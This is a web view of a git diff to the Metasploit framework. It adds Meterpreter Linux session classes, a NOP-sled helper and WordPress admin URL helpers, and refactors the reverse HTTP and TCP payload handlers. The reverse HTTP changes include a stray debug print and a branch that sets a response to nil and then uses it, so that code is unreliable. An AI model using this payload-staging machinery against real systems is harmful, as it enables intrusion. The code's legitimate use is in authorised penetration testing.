self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_mipsbe_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'mipsbe/linux'
|
||||
self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_mipsle_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'mipsle/linux'
|
||||
self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_x64_Mettle_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'x64/linux'
|
||||
self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_x86_Mettle_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'x86/linux'
|
||||
self.binary_suffix = 'lso'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -48,7 +48,7 @@ module Buffer
|
||||
when 'java'
|
||||
buf = Rex::Text.to_java(buf, var_name)
|
||||
when 'powershell', 'ps1'
|
||||
buf = Rex::Text.to_powershell(buf, var_name)
|
||||
buf = Rex::Powershell.to_powershell(buf, var_name)
|
||||
when 'vbscript'
|
||||
buf = Rex::Text.to_vbscript(buf, var_name)
|
||||
when 'vbapplication'
|
||||
|
||||
@@ -56,11 +56,11 @@ module Exploit
|
||||
# job.
|
||||
#
|
||||
def self.exploit_simple(oexploit, opts, &block)
|
||||
exploit = oexploit.replicant
|
||||
# Trap and print errors here (makes them UI-independent)
|
||||
begin
|
||||
|
||||
# Clone the module to prevent changes to the original instance
|
||||
exploit = oexploit.replicant
|
||||
|
||||
Msf::Simple::Framework.simplify_module( exploit, false )
|
||||
yield(exploit) if block_given?
|
||||
|
||||
|
||||
@@ -593,8 +593,7 @@ module Auxiliary::AuthBrute
|
||||
old_msg = msg.to_s.strip
|
||||
msg_regex = /(#{ip})(:#{port})?(\s*-?\s*)(#{proto.to_s})?(\s*-?\s*)(.*)/ni
|
||||
if old_msg.match(msg_regex) and !old_msg.match(msg_regex)[6].to_s.strip.empty?
|
||||
complete_message = [ip,port].join(":")
|
||||
(complete_message << " ") if ip
|
||||
complete_message = ''
|
||||
complete_message << (old_msg.match(msg_regex)[4] || proto).to_s
|
||||
complete_message << " - "
|
||||
progress = tried_over_total(ip,port)
|
||||
@@ -604,8 +603,7 @@ module Auxiliary::AuthBrute
|
||||
complete_message = msg.to_s.strip
|
||||
end
|
||||
else
|
||||
complete_message = [ip,port].join(":")
|
||||
(complete_message << " ") if ip
|
||||
complete_message = ''
|
||||
complete_message << "#{proto.to_s.strip} - " if proto
|
||||
progress = tried_over_total(ip,port)
|
||||
complete_message << progress if progress
|
||||
|
||||
@@ -125,7 +125,7 @@ class Export
|
||||
@owned_hosts = []
|
||||
@hosts = myworkspace.hosts
|
||||
@hosts.each do |host|
|
||||
if host.notes.find :first, :conditions => { :ntype => 'pro.system.compromise' }
|
||||
if host.notes.where(ntype: 'pro.system.compromise').first
|
||||
@owned_hosts << host
|
||||
end
|
||||
end
|
||||
@@ -133,7 +133,7 @@ class Export
|
||||
|
||||
# Extracts all events from a project, storing them in @events
|
||||
def extract_event_entries
|
||||
@events = myworkspace.events.find :all, :order => 'created_at ASC'
|
||||
@events = myworkspace.events.order('created_at ASC')
|
||||
end
|
||||
|
||||
# Extracts all services from a project, storing them in @services
|
||||
|
||||
@@ -2,7 +2,7 @@ module Msf::DBManager::Cred
|
||||
# This methods returns a list of all credentials in the database
|
||||
def creds(wspace=workspace)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
Mdm::Cred.includes({:service => :host}).where("hosts.workspace_id = ?", wspace.id)
|
||||
Mdm::Cred.where("hosts.workspace_id = ?", wspace.id).joins(:service => :host)
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
@@ -1002,6 +1002,30 @@ class Exploit < Msf::Module
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Generates a NOP sled using the #make_nops method.
|
||||
# The difference between this and #make_nops is this method is much faster, good for exploit
|
||||
# developers that actually want huge chunks of NOPs. The downside of using this is the NOP sled
|
||||
# is less randomized.
|
||||
#
|
||||
# @param count [String] Number of NOPs to return.
|
||||
# @return [String] NOPs
|
||||
#
|
||||
def make_fast_nops(count)
|
||||
max_nop_chunk_size = 100
|
||||
|
||||
if count < max_nop_chunk_size
|
||||
return make_nops(count)
|
||||
end
|
||||
|
||||
nops = make_nops(max_nop_chunk_size)
|
||||
nops += nops while nops.length < count
|
||||
|
||||
nops[0, count]
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Generates a nop sled of a supplied length and returns it to the caller.
|
||||
#
|
||||
|
||||
@@ -130,6 +130,7 @@ module Msf
|
||||
xploit.datastore['PAYLOAD'] = p.first[:payload_name]
|
||||
xploit.datastore['LPORT'] = p.first[:payload_lport]
|
||||
xploit.datastore['SRVHOST'] = datastore['SRVHOST']
|
||||
xploit.datastore['SRVPORT'] = datastore['SRVPORT']
|
||||
xploit.datastore['LHOST'] = get_payload_lhost
|
||||
|
||||
%w(JsObfuscate CookieName VERBOSE Retries SSL SSLVersion SSLCipher URIHOST URIPORT).each do |opt|
|
||||
|
||||
@@ -302,7 +302,7 @@ module Msf
|
||||
|
||||
def probe_gateway(addr)
|
||||
dst_host = datastore['GATEWAY_PROBE_HOST']
|
||||
dst_port = datastore['GATEWAY_PROBE_PORT'] == 0 ? rand(30000) + 1024 : datastore['GATEWAY_PROBE_PORT']
|
||||
dst_port = datastore['GATEWAY_PROBE_PORT'].to_i == 0 ? rand(30000) + 1024 : datastore['GATEWAY_PROBE_PORT']
|
||||
preamble = [datastore['SECRET']].pack("N")
|
||||
secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}"
|
||||
|
||||
|
||||
@@ -306,14 +306,14 @@ module Exploit::CmdStager
|
||||
# overriden by a module this mixin.
|
||||
#
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
def execute_cmdstager_begin(opts)
|
||||
def execute_cmdstager_begin(opts = {})
|
||||
end
|
||||
|
||||
# Code to execute after the cmd stager stub. This method is designed to be
|
||||
# overriden by a module this mixin.
|
||||
#
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
def execute_cmdstager_end(opts)
|
||||
def execute_cmdstager_end(opts = {})
|
||||
end
|
||||
|
||||
# Code called to execute each command via an arbitrary module-defined vector.
|
||||
@@ -321,7 +321,7 @@ module Exploit::CmdStager
|
||||
#
|
||||
# @param cmd [String] The command to execute.
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
def execute_command(cmd, opts)
|
||||
def execute_command(cmd, opts = {})
|
||||
raise NotImplementedError
|
||||
end
|
||||
|
||||
|
||||
@@ -425,7 +425,7 @@ module Exploit::Remote::HttpServer
|
||||
host = "[#{host}]"
|
||||
end
|
||||
|
||||
if datastore['URIPORT'] != 0
|
||||
if datastore['URIPORT'] && datastore['URIPORT'] != 0
|
||||
port = ':' + datastore['URIPORT'].to_s
|
||||
elsif (ssl and datastore["SRVPORT"] == 443)
|
||||
port = ''
|
||||
|
||||
@@ -122,4 +122,17 @@ module Msf::Exploit::Remote::HTTP::Wordpress::URIs
|
||||
normalize_uri(target_uri.path, 'xmlrpc.php')
|
||||
end
|
||||
|
||||
# Returns the WordPress plugin installer URL
|
||||
#
|
||||
# @return [String] WordPress plugin installer URL
|
||||
def wordpress_url_plugin_install
|
||||
normalize_uri(wordpress_url_backend, 'plugin-install.php')
|
||||
end
|
||||
|
||||
# Returns the WordPress new user URL
|
||||
#
|
||||
# @return [String] WordPress new user URL
|
||||
def wordpress_url_new_user
|
||||
normalize_uri(wordpress_url_backend, 'user-new.php')
|
||||
end
|
||||
end
|
||||
|
||||
@@ -42,6 +42,7 @@ require 'msf/core/exploit/ftpserver'
|
||||
require 'msf/core/exploit/http/client'
|
||||
require 'msf/core/exploit/http/server'
|
||||
require 'msf/core/exploit/smtp'
|
||||
require 'msf/core/exploit/ssh'
|
||||
require 'msf/core/exploit/sunrpc'
|
||||
require 'msf/core/exploit/mssql'
|
||||
require 'msf/core/exploit/mssql_commands'
|
||||
|
||||
@@ -169,7 +169,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||
vprint_status("Removing the service...")
|
||||
svc_status = svc_client.deleteservice(svc_handle)
|
||||
if svc_status == ERROR_SUCCESS
|
||||
vprint_good("Successfully removed the sevice")
|
||||
vprint_good("Successfully removed the service")
|
||||
else
|
||||
print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
|
||||
end
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
module Msf
|
||||
module Exploit::Remote::SSH
|
||||
def ssh_socket_factory
|
||||
Rex::Socket::SSHFactory.new(framework, self, datastore['Proxies'])
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -52,7 +52,7 @@ module Msf
|
||||
# @return [Integer]
|
||||
def bind_port
|
||||
port = datastore['ReverseListenerBindPort'].to_i
|
||||
port > 0 ? port : datastore['LPORT'].to_i
|
||||
(port > 0) ? port : datastore['LPORT'].to_i
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -66,19 +66,20 @@ module ReverseHttp
|
||||
|
||||
def print_prefix
|
||||
if Thread.current[:cli]
|
||||
luri = datastore['LURI'].empty? ? "" : "-> (#{datastore['LURI']}) "
|
||||
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}#{luri}; (UUID: #{uuid.to_s}) "
|
||||
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload
|
||||
# A URI describing where we are listening
|
||||
#
|
||||
# @param addr [String] the address that
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def listener_uri(addr=datastore['LHOST'])
|
||||
def listener_uri(addr=datastore['ReverseListenerBindAddress'])
|
||||
addr = datastore['LHOST'] if addr.nil? || addr.empty?
|
||||
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
|
||||
"#{scheme}://#{uri_host}:#{bind_port}#{luri}/"
|
||||
"#{scheme}://#{uri_host}:#{bind_port}#{luri}"
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload.
|
||||
@@ -86,26 +87,37 @@ module ReverseHttp
|
||||
# Host will be properly wrapped in square brackets, +[]+, for ipv6
|
||||
# addresses.
|
||||
#
|
||||
# @param req [Rex::Proto::Http::Request]
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def payload_uri(req)
|
||||
def payload_uri(req=nil)
|
||||
callback_host = nil
|
||||
|
||||
# Extract whatever the client sent us in the Host header
|
||||
if req && req.headers && req.headers['Host']
|
||||
callback_host = req.headers['Host']
|
||||
callback_host, callback_port = req.headers['Host'].split(":")
|
||||
callback_port = callback_port.to_i
|
||||
callback_port ||= (ssl? ? 443 : 80)
|
||||
end
|
||||
|
||||
# Override the host and port as appropriate
|
||||
if datastore['OverrideRequestHost'] || callback_host.nil?
|
||||
callback_name = datastore['OverrideLHOST'] || datastore['LHOST']
|
||||
callback_port = datastore['OverrideLPORT'] || datastore['LPORT']
|
||||
if Rex::Socket.is_ipv6? callback_name
|
||||
callback_name = "[#{callback_name}]"
|
||||
end
|
||||
callback_host = "#{callback_name}:#{callback_port}"
|
||||
callback_host = datastore['OverrideLHOST']
|
||||
callback_port = datastore['OverrideLPORT']
|
||||
end
|
||||
|
||||
"#{scheme}://#{callback_host}"
|
||||
if callback_host.nil? || callback_host.empty?
|
||||
callback_host = datastore['LHOST']
|
||||
end
|
||||
|
||||
if callback_port.nil? || callback_port.zero?
|
||||
callback_port = datastore['LPORT']
|
||||
end
|
||||
|
||||
if Rex::Socket.is_ipv6? callback_host
|
||||
callback_host = "[#{callback_host}]"
|
||||
end
|
||||
|
||||
"#{scheme}://#{callback_host}:#{callback_port}"
|
||||
end
|
||||
|
||||
# Use the #refname to determine whether this handler uses SSL or not
|
||||
@@ -122,22 +134,23 @@ module ReverseHttp
|
||||
(ssl?) ? 'https' : 'http'
|
||||
end
|
||||
|
||||
#
|
||||
# The local URI for the handler.
|
||||
#
|
||||
# @return [String] Representation of the URI to listen on.
|
||||
#
|
||||
def luri
|
||||
l = datastore['LURI'] || ""
|
||||
|
||||
if l && l.length > 0 && l[0] != '/'
|
||||
# make sure the luri has the prefix
|
||||
l = "/#{l}"
|
||||
|
||||
# but not the suffix
|
||||
if l[-1] == '/'
|
||||
if l && l.length > 0
|
||||
# strip trailing slashes
|
||||
while l[-1, 1] == '/'
|
||||
l = l[0...-1]
|
||||
end
|
||||
|
||||
# make sure the luri has the prefix
|
||||
if l[0, 1] != '/'
|
||||
l = "/#{l}"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
l.dup
|
||||
@@ -145,6 +158,7 @@ module ReverseHttp
|
||||
|
||||
# Create an HTTP listener
|
||||
#
|
||||
# @return [void]
|
||||
def setup_handler
|
||||
|
||||
local_addr = nil
|
||||
@@ -177,13 +191,10 @@ module ReverseHttp
|
||||
|
||||
self.service.server_name = datastore['MeterpreterServerName']
|
||||
|
||||
# Create a reference to ourselves
|
||||
obj = self
|
||||
|
||||
# Add the new resource
|
||||
service.add_resource(luri + "/",
|
||||
service.add_resource((luri + "/").gsub("//", "/"),
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request(cli, req, obj)
|
||||
on_request(cli, req)
|
||||
},
|
||||
'VirtualDirectory' => true)
|
||||
|
||||
@@ -201,7 +212,7 @@ module ReverseHttp
|
||||
#
|
||||
def stop_handler
|
||||
if self.service
|
||||
self.service.remove_resource(luri + "/")
|
||||
self.service.remove_resource((luri + "/").gsub("//", "/"))
|
||||
if self.service.resources.empty? && self.sessions == 0
|
||||
Rex::ServiceManager.stop_service(self.service)
|
||||
end
|
||||
@@ -254,25 +265,25 @@ protected
|
||||
#
|
||||
# Parses the HTTPS request
|
||||
#
|
||||
def on_request(cli, req, obj)
|
||||
def on_request(cli, req)
|
||||
Thread.current[:cli] = cli
|
||||
resp = Rex::Proto::Http::Response.new
|
||||
info = process_uri_resource(req.relative_resource)
|
||||
uuid = info[:uuid] || Msf::Payload::UUID.new
|
||||
|
||||
# Configure the UUID architecture and payload if necessary
|
||||
uuid.arch ||= obj.arch
|
||||
uuid.platform ||= obj.platform
|
||||
uuid.arch ||= self.arch
|
||||
uuid.platform ||= self.platform
|
||||
|
||||
conn_id = luri
|
||||
if info[:mode] && info[:mode] != :connect
|
||||
conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
|
||||
else
|
||||
conn_id << req.relative_resource
|
||||
conn_id = conn_id[0...-1] if conn_id[-1] == '/'
|
||||
conn_id = conn_id.chomp('/')
|
||||
end
|
||||
|
||||
request_summary = "#{luri}#{req.relative_resource} with UA '#{req.headers['User-Agent']}'"
|
||||
request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'"
|
||||
|
||||
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
|
||||
if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex]
|
||||
@@ -311,7 +322,7 @@ protected
|
||||
url = payload_uri(req) + conn_id + '/'
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage(
|
||||
blob << self.generate_stage(
|
||||
http_url: url,
|
||||
http_user_agent: datastore['MeterpreterUserAgent'],
|
||||
http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'],
|
||||
@@ -324,7 +335,7 @@ protected
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:passive_dispatcher => self.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
@@ -339,7 +350,7 @@ protected
|
||||
print_status("Staging Java payload...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
blob = obj.generate_stage(
|
||||
blob = self.generate_stage(
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
@@ -348,7 +359,7 @@ protected
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:passive_dispatcher => self.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
@@ -369,7 +380,7 @@ protected
|
||||
begin
|
||||
# generate the stage, but pass in the existing UUID and connection id so that
|
||||
# we don't get new ones generated.
|
||||
blob = obj.stage_payload(
|
||||
blob = self.stage_payload(
|
||||
uuid: uuid,
|
||||
uri: conn_id,
|
||||
lhost: uri.host,
|
||||
@@ -380,7 +391,7 @@ protected
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:passive_dispatcher => self.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
@@ -403,9 +414,11 @@ protected
|
||||
url = payload_uri(req) + conn_id
|
||||
url << '/' unless url[-1] == '/'
|
||||
|
||||
p url
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:passive_dispatcher => self.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url + "\x00",
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
@@ -420,14 +433,16 @@ protected
|
||||
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
|
||||
print_status("Unknown request to #{request_summary}")
|
||||
end
|
||||
resp = nil
|
||||
resp.code = 200
|
||||
resp.message = 'OK'
|
||||
resp.body = datastore['HttpUnknownRequestResponse'].to_s
|
||||
self.pending_connections -= 1
|
||||
end
|
||||
|
||||
cli.send_response(resp) if (resp)
|
||||
|
||||
# Force this socket to be closed
|
||||
obj.service.close_client(cli)
|
||||
self.service.close_client(cli)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -77,6 +77,10 @@ module ReverseTcp
|
||||
"reverse TCP"
|
||||
end
|
||||
|
||||
def payload_uri
|
||||
"tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
|
||||
end
|
||||
|
||||
#
|
||||
# Starts monitoring for an inbound connection.
|
||||
#
|
||||
|
||||
@@ -207,7 +207,7 @@ protected
|
||||
initialize_abstraction
|
||||
|
||||
self.lsock.extend(TcpReverseDoubleChannelExt)
|
||||
self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":")
|
||||
self.lsock.peerinfo = @sock_inp.getpeername_as_array[1,2].map{|x| x.to_s}.join(":")
|
||||
self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":")
|
||||
|
||||
monitor_shell_stdout
|
||||
|
||||
@@ -256,7 +256,7 @@ protected
|
||||
initialize_abstraction
|
||||
|
||||
self.lsock.extend(TcpReverseDoubleSSLChannelExt)
|
||||
self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":")
|
||||
self.lsock.peerinfo = @sock_inp.getpeername_as_array[1,2].map{|x| x.to_s}.join(":")
|
||||
self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":")
|
||||
|
||||
monitor_shell_stdout
|
||||
|
||||
@@ -15,15 +15,17 @@ class OptInt < OptBase
|
||||
def normalize(value)
|
||||
if value.to_s.match(/^0x[a-fA-F\d]+$/)
|
||||
value.to_i(16)
|
||||
else
|
||||
elsif value.present?
|
||||
value.to_i
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
def valid?(value, check_empty: true)
|
||||
return false if check_empty && empty_required_value?(value)
|
||||
|
||||
if value and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/)
|
||||
if value.present? and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/)
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@ class OptPort < OptInt
|
||||
end
|
||||
|
||||
def valid?(value, check_empty: true)
|
||||
port = normalize(value)
|
||||
port = normalize(value).to_i
|
||||
super && port <= 65535 && port >= 0
|
||||
end
|
||||
end
|
||||
|
||||
@@ -28,8 +28,11 @@ class OptRegexp < OptBase
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
return nil if value.nil?
|
||||
return Regexp.compile(value.to_s)
|
||||
if value.nil? || value.kind_of?(Regexp)
|
||||
value
|
||||
else
|
||||
Regexp.compile(value.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
def display_value(value)
|
||||
@@ -38,8 +41,7 @@ class OptRegexp < OptBase
|
||||
elsif value.kind_of?(String)
|
||||
return display_value(normalize(value))
|
||||
end
|
||||
|
||||
return super
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user